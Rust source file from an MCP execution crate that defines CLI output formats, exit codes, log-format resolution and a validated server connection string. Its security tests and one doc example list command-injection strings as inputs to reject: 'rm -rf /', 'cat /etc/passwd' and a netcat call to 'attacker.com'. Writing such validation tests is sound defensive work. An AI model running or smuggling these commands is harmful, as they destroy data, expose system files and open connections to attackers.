Skip to main content

mcp_execution_core/
cli.rs

1//! CLI-specific types and utilities.
2//!
3//! This module provides strong types for CLI concepts following Microsoft Rust
4//! Guidelines, ensuring type safety and clear intent throughout the CLI codebase.
5//!
6//! # Design Principles
7//!
8//! - Strong types over primitives (no raw strings/ints for domain concepts)
9//! - All types are `Send + Sync + Debug`
10//! - Validation at construction boundaries
11//! - User-friendly error messages
12//!
13//! # Examples
14//!
15//! ```
16//! use mcp_execution_core::cli::{OutputFormat, ExitCode, ServerConnectionString};
17//! use std::path::PathBuf;
18//!
19//! // Output format selection
20//! let format = OutputFormat::Pretty;
21//! assert_eq!(format.as_str(), "pretty");
22//!
23//! // Exit codes with semantic meaning
24//! let code = ExitCode::SUCCESS;
25//! assert_eq!(code.as_i32(), 0);
26//!
27//! // Validated server connection strings
28//! let conn = ServerConnectionString::new("github").unwrap();
29//! assert_eq!(conn.as_str(), "github");
30//! ```
31
32use std::fmt;
33use std::str::FromStr;
34
35/// CLI output format.
36///
37/// Determines how command results are formatted for user display.
38/// All formats provide the same information but with different presentation.
39///
40/// # Examples
41///
42/// ```
43/// use mcp_execution_core::cli::OutputFormat;
44///
45/// let format = OutputFormat::Json;
46/// assert_eq!(format.as_str(), "json");
47///
48/// let format: OutputFormat = "pretty".parse().unwrap();
49/// assert_eq!(format, OutputFormat::Pretty);
50/// ```
51#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
52pub enum OutputFormat {
53    /// JSON output for machine parsing
54    Json,
55    /// Plain text output for scripts
56    Text,
57    /// Pretty-printed output with colors for human reading
58    #[default]
59    Pretty,
60}
61
62impl OutputFormat {
63    /// Returns the string representation of the format.
64    ///
65    /// # Examples
66    ///
67    /// ```
68    /// use mcp_execution_core::cli::OutputFormat;
69    ///
70    /// assert_eq!(OutputFormat::Json.as_str(), "json");
71    /// assert_eq!(OutputFormat::Text.as_str(), "text");
72    /// assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
73    /// ```
74    #[must_use]
75    pub const fn as_str(&self) -> &'static str {
76        match self {
77            Self::Json => "json",
78            Self::Text => "text",
79            Self::Pretty => "pretty",
80        }
81    }
82}
83
84impl fmt::Display for OutputFormat {
85    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
86        f.write_str(self.as_str())
87    }
88}
89
90impl FromStr for OutputFormat {
91    type Err = crate::Error;
92
93    fn from_str(s: &str) -> Result<Self, Self::Err> {
94        match s.to_lowercase().as_str() {
95            "json" => Ok(Self::Json),
96            "text" => Ok(Self::Text),
97            "pretty" => Ok(Self::Pretty),
98            _ => Err(crate::Error::InvalidArgument(format!(
99                "invalid output format: '{s}' (expected: json, text, or pretty)"
100            ))),
101        }
102    }
103}
104
105/// CLI exit code with semantic meaning.
106///
107/// Provides type-safe exit codes following Unix conventions.
108/// Success is 0, errors are non-zero with specific meanings.
109///
110/// # Examples
111///
112/// ```
113/// use mcp_execution_core::cli::ExitCode;
114///
115/// let code = ExitCode::SUCCESS;
116/// assert_eq!(code.as_i32(), 0);
117/// assert!(code.is_success());
118///
119/// let code = ExitCode::from_i32(1).unwrap();
120/// assert!(!code.is_success());
121///
122/// // Outside the valid process exit code range (0..=255) is rejected.
123/// assert!(ExitCode::from_i32(-1).is_none());
124/// assert!(ExitCode::from_i32(256).is_none());
125/// ```
126#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
127pub struct ExitCode(i32);
128
129impl ExitCode {
130    /// Successful execution (exit code 0).
131    ///
132    /// # Examples
133    ///
134    /// ```
135    /// use mcp_execution_core::cli::ExitCode;
136    ///
137    /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
138    /// ```
139    pub const SUCCESS: Self = Self(0);
140
141    /// General error (exit code 1).
142    ///
143    /// # Examples
144    ///
145    /// ```
146    /// use mcp_execution_core::cli::ExitCode;
147    ///
148    /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
149    /// ```
150    pub const ERROR: Self = Self(1);
151
152    /// Invalid input or arguments (exit code 2).
153    ///
154    /// # Examples
155    ///
156    /// ```
157    /// use mcp_execution_core::cli::ExitCode;
158    ///
159    /// assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
160    /// ```
161    pub const INVALID_INPUT: Self = Self(2);
162
163    /// Server connection or communication error (exit code 3).
164    ///
165    /// # Examples
166    ///
167    /// ```
168    /// use mcp_execution_core::cli::ExitCode;
169    ///
170    /// assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
171    /// ```
172    pub const SERVER_ERROR: Self = Self(3);
173
174    /// Execution timeout or resource limit exceeded (exit code 4).
175    ///
176    /// # Examples
177    ///
178    /// ```
179    /// use mcp_execution_core::cli::ExitCode;
180    ///
181    /// assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
182    /// ```
183    pub const TIMEOUT: Self = Self(4);
184
185    /// Creates an exit code from an integer value.
186    ///
187    /// Returns `None` if `code` falls outside `0..=255`. This is not a universal OS-level
188    /// ceiling — on Unix, `std::process::exit` truncates its argument to the low 8 bits, but
189    /// on Windows it delivers the full `i32` to the parent process via `ExitProcess` — so
190    /// `0..=255` is this API's own deliberate choice (matching every named const this type
191    /// already defines, and the conventional Unix exit-code range this CLI targets), not
192    /// something every platform enforces for it. Rejecting an out-of-range value here surfaces
193    /// a construction mistake immediately rather than silently producing an [`ExitCode`] whose
194    /// reported value could be misleading once actually reported to the OS.
195    ///
196    /// # Examples
197    ///
198    /// ```
199    /// use mcp_execution_core::cli::ExitCode;
200    ///
201    /// let code = ExitCode::from_i32(0).unwrap();
202    /// assert_eq!(code, ExitCode::SUCCESS);
203    ///
204    /// assert!(ExitCode::from_i32(-1).is_none());
205    /// assert!(ExitCode::from_i32(256).is_none());
206    /// ```
207    #[must_use]
208    pub const fn from_i32(code: i32) -> Option<Self> {
209        if matches!(code, 0..=255) {
210            Some(Self(code))
211        } else {
212            None
213        }
214    }
215
216    /// Returns the exit code as an integer.
217    ///
218    /// # Examples
219    ///
220    /// ```
221    /// use mcp_execution_core::cli::ExitCode;
222    ///
223    /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
224    /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
225    /// ```
226    #[must_use]
227    pub const fn as_i32(&self) -> i32 {
228        self.0
229    }
230
231    /// Checks if the exit code represents success.
232    ///
233    /// # Examples
234    ///
235    /// ```
236    /// use mcp_execution_core::cli::ExitCode;
237    ///
238    /// assert!(ExitCode::SUCCESS.is_success());
239    /// assert!(!ExitCode::ERROR.is_success());
240    /// ```
241    #[must_use]
242    pub const fn is_success(&self) -> bool {
243        self.0 == 0
244    }
245}
246
247impl Default for ExitCode {
248    fn default() -> Self {
249        Self::SUCCESS
250    }
251}
252
253impl From<ExitCode> for i32 {
254    fn from(code: ExitCode) -> Self {
255        code.0
256    }
257}
258
259impl fmt::Display for ExitCode {
260    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
261        write!(f, "{}", self.0)
262    }
263}
264
265/// Diagnostic log output format.
266///
267/// Selects whether `mcp-execution-cli` and `mcp-execution-server` emit human-readable text logs
268/// or structured JSON logs. Independent of [`OutputFormat`], which controls command *result*
269/// output, not diagnostic logging.
270///
271/// # Examples
272///
273/// ```
274/// use mcp_execution_core::cli::LogFormat;
275///
276/// let format = LogFormat::Json;
277/// assert_eq!(format.as_str(), "json");
278///
279/// let format: LogFormat = "TEXT".parse().unwrap();
280/// assert_eq!(format, LogFormat::Text);
281/// ```
282#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
283pub enum LogFormat {
284    /// Human-readable text logs.
285    #[default]
286    Text,
287    /// Structured JSON logs, one object per line.
288    Json,
289}
290
291impl LogFormat {
292    /// Returns the string representation of the format.
293    ///
294    /// # Examples
295    ///
296    /// ```
297    /// use mcp_execution_core::cli::LogFormat;
298    ///
299    /// assert_eq!(LogFormat::Text.as_str(), "text");
300    /// assert_eq!(LogFormat::Json.as_str(), "json");
301    /// ```
302    #[must_use]
303    pub const fn as_str(&self) -> &'static str {
304        match self {
305            Self::Text => "text",
306            Self::Json => "json",
307        }
308    }
309
310    /// Resolves the effective log format from an optional CLI flag value and an optional raw
311    /// environment variable value.
312    ///
313    /// Precedence: `flag` wins unconditionally when set — `env_value` is not even inspected, so a
314    /// malformed environment value has no effect on the result once the flag has already resolved
315    /// the format. Otherwise the env value is parsed via [`LogFormat::parse_env`], which treats
316    /// an empty/whitespace-only or unrecognized value alike as "no override" and falls back to
317    /// [`LogFormat::default`].
318    ///
319    /// Returns only the resolved format, not the rejected raw value: neither production caller
320    /// logs it (a raw `MCP_EXECUTION_LOG_FORMAT` value is untrusted external input, and echoing
321    /// it — even truncated — would open a log-injection vector), so carrying it through this
322    /// return type would be a capability with no real consumer. A caller that needs to know
323    /// *whether* the env value was invalid specifically (as opposed to merely absent), e.g. to
324    /// decide whether to log a warning, calls [`LogFormat::is_invalid_env_value`] separately.
325    ///
326    /// Deliberately free of `std::env` access itself: callers pass
327    /// `std::env::var(LOG_FORMAT_ENV_VAR).ok()` in, which keeps precedence and fallback behavior
328    /// testable without mutating process environment state. One accepted consequence of that
329    /// call shape: a non-UTF-8 `MCP_EXECUTION_LOG_FORMAT` value folds to `Err(VarError::NotUnicode(_))`,
330    /// hence `None` here, so it is silently treated as *unset* rather than *invalid* — unlike a
331    /// valid-UTF-8 but unrecognized value (e.g. `"xml"`), which [`LogFormat::is_invalid_env_value`]
332    /// does flag for a caller to warn about. Not worth switching callers to `std::env::var_os` to
333    /// close this gap: a non-UTF-8 value is exceedingly unlikely for a variable whose only valid
334    /// values are ASCII, and the failure mode (no warning, falls back to the same default a bad
335    /// value would) is identical either way.
336    ///
337    /// # Examples
338    ///
339    /// ```
340    /// use mcp_execution_core::cli::LogFormat;
341    ///
342    /// // The flag wins even over a valid env value.
343    /// assert_eq!(LogFormat::resolve(Some(LogFormat::Json), Some("text")), LogFormat::Json);
344    ///
345    /// // No flag: a valid env value is used, case-insensitively.
346    /// assert_eq!(LogFormat::resolve(None, Some("JSON")), LogFormat::Json);
347    ///
348    /// // No flag, unrecognized env value: falls back to the default (`Text`).
349    /// assert_eq!(LogFormat::resolve(None, Some("xml")), LogFormat::Text);
350    /// ```
351    #[must_use]
352    pub fn resolve(flag: Option<Self>, env_value: Option<&str>) -> Self {
353        flag.or_else(|| env_value.and_then(Self::parse_env))
354            .unwrap_or_default()
355    }
356
357    /// Parses a raw `MCP_EXECUTION_LOG_FORMAT` environment-variable value.
358    ///
359    /// Returns `None` uniformly for an empty/whitespace-only value and for one that doesn't
360    /// match `text`/`json` (case-insensitive) — both are "no override" as far as [`resolve`]
361    /// is concerned. Use [`LogFormat::is_invalid_env_value`] when the two `None` cases need to
362    /// be told apart (e.g. to decide whether a caller should warn about a rejected value).
363    ///
364    /// [`resolve`]: LogFormat::resolve
365    ///
366    /// # Examples
367    ///
368    /// ```
369    /// use mcp_execution_core::cli::LogFormat;
370    ///
371    /// assert_eq!(LogFormat::parse_env("json"), Some(LogFormat::Json));
372    /// assert_eq!(LogFormat::parse_env("JSON"), Some(LogFormat::Json));
373    /// assert_eq!(LogFormat::parse_env(""), None);
374    /// assert_eq!(LogFormat::parse_env("   "), None);
375    /// assert_eq!(LogFormat::parse_env("xml"), None);
376    /// ```
377    #[must_use]
378    pub fn parse_env(raw: &str) -> Option<Self> {
379        let trimmed = raw.trim();
380        if trimmed.is_empty() {
381            return None;
382        }
383        trimmed.parse().ok()
384    }
385
386    /// True when `raw` is a genuinely invalid `MCP_EXECUTION_LOG_FORMAT` value — non-empty and
387    /// not parseable via [`LogFormat::parse_env`] — as opposed to an empty/whitespace-only value,
388    /// which is merely "unset" and not worth warning about. Lets a caller decide whether to emit
389    /// a warning without re-implementing [`parse_env`](LogFormat::parse_env)'s own emptiness
390    /// check.
391    ///
392    /// # Examples
393    ///
394    /// ```
395    /// use mcp_execution_core::cli::LogFormat;
396    ///
397    /// assert!(LogFormat::is_invalid_env_value("xml"));
398    /// assert!(!LogFormat::is_invalid_env_value("json"));
399    /// assert!(!LogFormat::is_invalid_env_value(""));
400    /// assert!(!LogFormat::is_invalid_env_value("   "));
401    /// ```
402    #[must_use]
403    pub fn is_invalid_env_value(raw: &str) -> bool {
404        !raw.trim().is_empty() && Self::parse_env(raw).is_none()
405    }
406}
407
408impl fmt::Display for LogFormat {
409    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
410        f.write_str(self.as_str())
411    }
412}
413
414impl FromStr for LogFormat {
415    type Err = crate::Error;
416
417    fn from_str(s: &str) -> Result<Self, Self::Err> {
418        match s.to_lowercase().as_str() {
419            "text" => Ok(Self::Text),
420            "json" => Ok(Self::Json),
421            _ => Err(crate::Error::InvalidArgument(format!(
422                "invalid log format: '{s}' (expected: text or json)"
423            ))),
424        }
425    }
426}
427
428/// Environment variable consulted for the default [`LogFormat`] when `--log-format` is not
429/// passed. See [`LogFormat::resolve`].
430pub const LOG_FORMAT_ENV_VAR: &str = "MCP_EXECUTION_LOG_FORMAT";
431
432/// Validated MCP server connection string.
433///
434/// Ensures server identifiers are non-empty and contain only valid characters.
435/// This prevents command injection and path traversal attacks.
436///
437/// # Security
438///
439/// - Rejects empty strings
440/// - Rejects strings with null bytes
441/// - Trims whitespace
442///
443/// # Examples
444///
445/// ```
446/// use mcp_execution_core::cli::ServerConnectionString;
447///
448/// let conn = ServerConnectionString::new("github").unwrap();
449/// assert_eq!(conn.as_str(), "github");
450///
451/// // Empty strings are rejected
452/// assert!(ServerConnectionString::new("").is_err());
453///
454/// // Whitespace is trimmed
455/// let conn = ServerConnectionString::new("  server  ").unwrap();
456/// assert_eq!(conn.as_str(), "server");
457/// ```
458#[derive(Debug, Clone, PartialEq, Eq, Hash)]
459pub struct ServerConnectionString(String);
460
461impl ServerConnectionString {
462    /// Creates a new validated server connection string.
463    ///
464    /// # Security
465    ///
466    /// This function validates input to prevent command injection attacks:
467    /// - Only allows alphanumeric characters and `-_./:` for safe server identifiers
468    /// - Rejects shell metacharacters (`&`, `|`, `;`, `$`, `` ` ``, etc.)
469    /// - Rejects control characters to prevent CRLF injection
470    /// - Length limited to 256 characters
471    ///
472    /// # Errors
473    ///
474    /// Returns an error if:
475    /// - The string is empty after trimming
476    /// - The string contains invalid characters
477    /// - The string contains control characters
478    /// - The string exceeds 256 characters
479    ///
480    /// # Examples
481    ///
482    /// ```
483    /// use mcp_execution_core::cli::ServerConnectionString;
484    ///
485    /// let conn = ServerConnectionString::new("my-server")?;
486    /// assert_eq!(conn.as_str(), "my-server");
487    ///
488    /// // Shell metacharacters are rejected for security
489    /// assert!(ServerConnectionString::new("server && rm -rf /").is_err());
490    /// # Ok::<(), mcp_execution_core::Error>(())
491    /// ```
492    pub fn new(s: impl Into<String>) -> crate::Result<Self> {
493        // Define allowed characters: alphanumeric, hyphen, underscore, dot, slash, colon
494        // This prevents command injection while allowing common server identifiers
495        const ALLOWED_CHARS: &str =
496            "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_./:";
497
498        let s = s.into();
499
500        // Check for control characters BEFORE trimming to prevent CRLF injection
501        if s.chars().any(|c| c.is_control() && c != ' ') {
502            return Err(crate::Error::InvalidArgument(
503                "server connection string cannot contain control characters".to_string(),
504            ));
505        }
506
507        let trimmed = s.trim();
508
509        if trimmed.is_empty() {
510            return Err(crate::Error::InvalidArgument(
511                "server connection string cannot be empty".to_string(),
512            ));
513        }
514
515        // Reject shell metacharacters to prevent command injection
516        if !trimmed.chars().all(|c| ALLOWED_CHARS.contains(c)) {
517            return Err(crate::Error::InvalidArgument(
518                "server connection string contains invalid characters (allowed: a-z, A-Z, 0-9, -, _, ., /, :)".to_string(),
519            ));
520        }
521
522        if trimmed.len() > 256 {
523            return Err(crate::Error::InvalidArgument(
524                "server connection string too long (max 256 characters)".to_string(),
525            ));
526        }
527
528        Ok(Self(trimmed.to_string()))
529    }
530
531    /// Returns the connection string as a string slice.
532    ///
533    /// # Examples
534    ///
535    /// ```
536    /// use mcp_execution_core::cli::ServerConnectionString;
537    ///
538    /// let conn = ServerConnectionString::new("server")?;
539    /// assert_eq!(conn.as_str(), "server");
540    /// # Ok::<(), mcp_execution_core::Error>(())
541    /// ```
542    #[must_use]
543    pub fn as_str(&self) -> &str {
544        &self.0
545    }
546}
547
548impl fmt::Display for ServerConnectionString {
549    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
550        write!(f, "{}", self.0)
551    }
552}
553
554impl FromStr for ServerConnectionString {
555    type Err = crate::Error;
556
557    fn from_str(s: &str) -> Result<Self, Self::Err> {
558        Self::new(s)
559    }
560}
561
562#[cfg(test)]
563mod tests {
564    use super::*;
565
566    // OutputFormat tests
567    #[test]
568    fn test_output_format_as_str() {
569        assert_eq!(OutputFormat::Json.as_str(), "json");
570        assert_eq!(OutputFormat::Text.as_str(), "text");
571        assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
572    }
573
574    #[test]
575    fn test_output_format_default() {
576        assert_eq!(OutputFormat::default(), OutputFormat::Pretty);
577    }
578
579    #[test]
580    fn test_output_format_from_str_valid() {
581        assert_eq!("json".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
582        assert_eq!("text".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
583        assert_eq!(
584            "pretty".parse::<OutputFormat>().unwrap(),
585            OutputFormat::Pretty
586        );
587
588        // Case insensitive
589        assert_eq!("JSON".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
590        assert_eq!("TEXT".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
591        assert_eq!(
592            "PRETTY".parse::<OutputFormat>().unwrap(),
593            OutputFormat::Pretty
594        );
595    }
596
597    #[test]
598    fn test_output_format_from_str_invalid() {
599        assert!("invalid".parse::<OutputFormat>().is_err());
600        assert!("".parse::<OutputFormat>().is_err());
601        assert!("xml".parse::<OutputFormat>().is_err());
602    }
603
604    #[test]
605    fn test_output_format_display() {
606        assert_eq!(OutputFormat::Json.to_string(), "json");
607        assert_eq!(OutputFormat::Text.to_string(), "text");
608        assert_eq!(OutputFormat::Pretty.to_string(), "pretty");
609    }
610
611    // ExitCode tests
612    #[test]
613    fn test_exit_code_constants() {
614        assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
615        assert_eq!(ExitCode::ERROR.as_i32(), 1);
616        assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
617        assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
618        assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
619    }
620
621    #[test]
622    fn test_exit_code_from_i32() {
623        assert_eq!(ExitCode::from_i32(0), Some(ExitCode::SUCCESS));
624        assert_eq!(ExitCode::from_i32(1), Some(ExitCode::ERROR));
625        assert_eq!(ExitCode::from_i32(42).unwrap().as_i32(), 42);
626    }
627
628    #[test]
629    fn test_exit_code_from_i32_rejects_out_of_range() {
630        assert_eq!(ExitCode::from_i32(-1), None);
631        assert_eq!(ExitCode::from_i32(256), None);
632        assert_eq!(ExitCode::from_i32(i32::MIN), None);
633        assert_eq!(ExitCode::from_i32(i32::MAX), None);
634    }
635
636    #[test]
637    fn test_exit_code_from_i32_accepts_boundaries() {
638        assert_eq!(ExitCode::from_i32(0).unwrap().as_i32(), 0);
639        assert_eq!(ExitCode::from_i32(255).unwrap().as_i32(), 255);
640    }
641
642    #[test]
643    fn test_exit_code_is_success() {
644        assert!(ExitCode::SUCCESS.is_success());
645        assert!(!ExitCode::ERROR.is_success());
646        assert!(!ExitCode::INVALID_INPUT.is_success());
647        assert!(!ExitCode::from_i32(42).unwrap().is_success());
648    }
649
650    #[test]
651    fn test_exit_code_default() {
652        assert_eq!(ExitCode::default(), ExitCode::SUCCESS);
653    }
654
655    #[test]
656    fn test_exit_code_into_i32() {
657        let code = ExitCode::ERROR;
658        let value: i32 = code.into();
659        assert_eq!(value, 1);
660    }
661
662    #[test]
663    fn test_exit_code_display() {
664        assert_eq!(ExitCode::SUCCESS.to_string(), "0");
665        assert_eq!(ExitCode::ERROR.to_string(), "1");
666    }
667
668    // LogFormat tests
669    #[test]
670    fn test_log_format_as_str() {
671        assert_eq!(LogFormat::Text.as_str(), "text");
672        assert_eq!(LogFormat::Json.as_str(), "json");
673    }
674
675    #[test]
676    fn test_log_format_default() {
677        assert_eq!(LogFormat::default(), LogFormat::Text);
678    }
679
680    #[test]
681    fn test_log_format_from_str_valid_case_insensitive() {
682        assert_eq!("text".parse::<LogFormat>().unwrap(), LogFormat::Text);
683        assert_eq!("JSON".parse::<LogFormat>().unwrap(), LogFormat::Json);
684        assert_eq!("Json".parse::<LogFormat>().unwrap(), LogFormat::Json);
685    }
686
687    #[test]
688    fn test_log_format_from_str_invalid() {
689        assert!("xml".parse::<LogFormat>().is_err());
690        assert!("".parse::<LogFormat>().is_err());
691    }
692
693    #[test]
694    fn test_log_format_display() {
695        assert_eq!(LogFormat::Text.to_string(), "text");
696        assert_eq!(LogFormat::Json.to_string(), "json");
697    }
698
699    #[test]
700    fn test_log_format_resolve_flag_wins_over_valid_env() {
701        assert_eq!(
702            LogFormat::resolve(Some(LogFormat::Json), Some("text")),
703            LogFormat::Json
704        );
705    }
706
707    #[test]
708    fn test_log_format_resolve_flag_wins_over_bad_env() {
709        assert_eq!(
710            LogFormat::resolve(Some(LogFormat::Text), Some("xml")),
711            LogFormat::Text
712        );
713    }
714
715    #[test]
716    fn test_log_format_resolve_env_used_when_flag_none() {
717        assert_eq!(LogFormat::resolve(None, Some("json")), LogFormat::Json);
718    }
719
720    #[test]
721    fn test_log_format_resolve_env_case_insensitive() {
722        assert_eq!(LogFormat::resolve(None, Some("JSON")), LogFormat::Json);
723    }
724
725    #[test]
726    fn test_log_format_resolve_no_flag_no_env_defaults_to_text() {
727        assert_eq!(LogFormat::resolve(None, None), LogFormat::Text);
728    }
729
730    #[test]
731    fn test_log_format_resolve_empty_or_whitespace_env_treated_as_unset() {
732        assert_eq!(LogFormat::resolve(None, Some("")), LogFormat::Text);
733        assert_eq!(LogFormat::resolve(None, Some("   ")), LogFormat::Text);
734    }
735
736    #[test]
737    fn test_log_format_resolve_unknown_env_falls_back_to_default() {
738        assert_eq!(LogFormat::resolve(None, Some("xml")), LogFormat::Text);
739    }
740
741    // LogFormat::parse_env tests
742    #[test]
743    fn test_log_format_parse_env_valid_case_insensitive() {
744        assert_eq!(LogFormat::parse_env("text"), Some(LogFormat::Text));
745        assert_eq!(LogFormat::parse_env("JSON"), Some(LogFormat::Json));
746        assert_eq!(LogFormat::parse_env("Json"), Some(LogFormat::Json));
747    }
748
749    #[test]
750    fn test_log_format_parse_env_empty_or_whitespace_is_none() {
751        assert_eq!(LogFormat::parse_env(""), None);
752        assert_eq!(LogFormat::parse_env("   "), None);
753    }
754
755    #[test]
756    fn test_log_format_parse_env_invalid_is_none() {
757        assert_eq!(LogFormat::parse_env("xml"), None);
758    }
759
760    // LogFormat::is_invalid_env_value tests
761    #[test]
762    fn test_log_format_is_invalid_env_value_true_for_unparseable_non_empty_value() {
763        assert!(LogFormat::is_invalid_env_value("xml"));
764    }
765
766    #[test]
767    fn test_log_format_is_invalid_env_value_false_for_valid_value() {
768        assert!(!LogFormat::is_invalid_env_value("json"));
769        assert!(!LogFormat::is_invalid_env_value("TEXT"));
770    }
771
772    #[test]
773    fn test_log_format_is_invalid_env_value_false_for_empty_or_whitespace() {
774        assert!(!LogFormat::is_invalid_env_value(""));
775        assert!(!LogFormat::is_invalid_env_value("   "));
776    }
777
778    // ServerConnectionString tests
779    #[test]
780    fn test_server_connection_string_valid() {
781        let conn = ServerConnectionString::new("github").unwrap();
782        assert_eq!(conn.as_str(), "github");
783
784        let conn = ServerConnectionString::new("my-server-123").unwrap();
785        assert_eq!(conn.as_str(), "my-server-123");
786    }
787
788    #[test]
789    fn test_server_connection_string_trims_whitespace() {
790        let conn = ServerConnectionString::new("  server  ").unwrap();
791        assert_eq!(conn.as_str(), "server");
792
793        // Control characters (other than space) are rejected before trimming
794        assert!(ServerConnectionString::new("\tserver\n").is_err());
795    }
796
797    #[test]
798    fn test_server_connection_string_rejects_empty() {
799        assert!(ServerConnectionString::new("").is_err());
800        assert!(ServerConnectionString::new("   ").is_err());
801        assert!(ServerConnectionString::new("\t\n").is_err());
802    }
803
804    #[test]
805    fn test_server_connection_string_from_str() {
806        let conn: ServerConnectionString = "server".parse().unwrap();
807        assert_eq!(conn.as_str(), "server");
808
809        assert!("".parse::<ServerConnectionString>().is_err());
810    }
811
812    #[test]
813    fn test_server_connection_string_display() {
814        let conn = ServerConnectionString::new("test-server").unwrap();
815        assert_eq!(conn.to_string(), "test-server");
816    }
817
818    // Security tests for command injection prevention
819    #[test]
820    fn test_server_connection_string_command_injection() {
821        // Shell metacharacters should be rejected
822        assert!(ServerConnectionString::new("server && rm -rf /").is_err());
823        assert!(ServerConnectionString::new("server; cat /etc/passwd").is_err());
824        assert!(ServerConnectionString::new("server | nc attacker.com").is_err());
825        assert!(ServerConnectionString::new("server $(malicious)").is_err());
826        assert!(ServerConnectionString::new("server `whoami`").is_err());
827        assert!(ServerConnectionString::new("server & background").is_err());
828    }
829
830    #[test]
831    fn test_server_connection_string_control_chars() {
832        // Control characters should be rejected (CRLF injection)
833        assert!(ServerConnectionString::new("server\r\n").is_err());
834        assert!(ServerConnectionString::new("server\0").is_err());
835        assert!(ServerConnectionString::new("server\t").is_err());
836    }
837
838    #[test]
839    fn test_server_connection_string_valid_chars() {
840        // These should still be valid
841        assert!(ServerConnectionString::new("github").is_ok());
842        assert!(ServerConnectionString::new("my_server").is_ok());
843        assert!(ServerConnectionString::new("server-123").is_ok());
844        assert!(ServerConnectionString::new("localhost:8080").is_ok());
845        assert!(ServerConnectionString::new("example.com/path").is_ok());
846    }
847
848    #[test]
849    fn test_server_connection_string_length_limit() {
850        // 256 characters should be allowed
851        let valid = "a".repeat(256);
852        assert!(ServerConnectionString::new(&valid).is_ok());
853
854        // 257 characters should be rejected
855        let too_long = "a".repeat(257);
856        assert!(ServerConnectionString::new(&too_long).is_err());
857    }
858}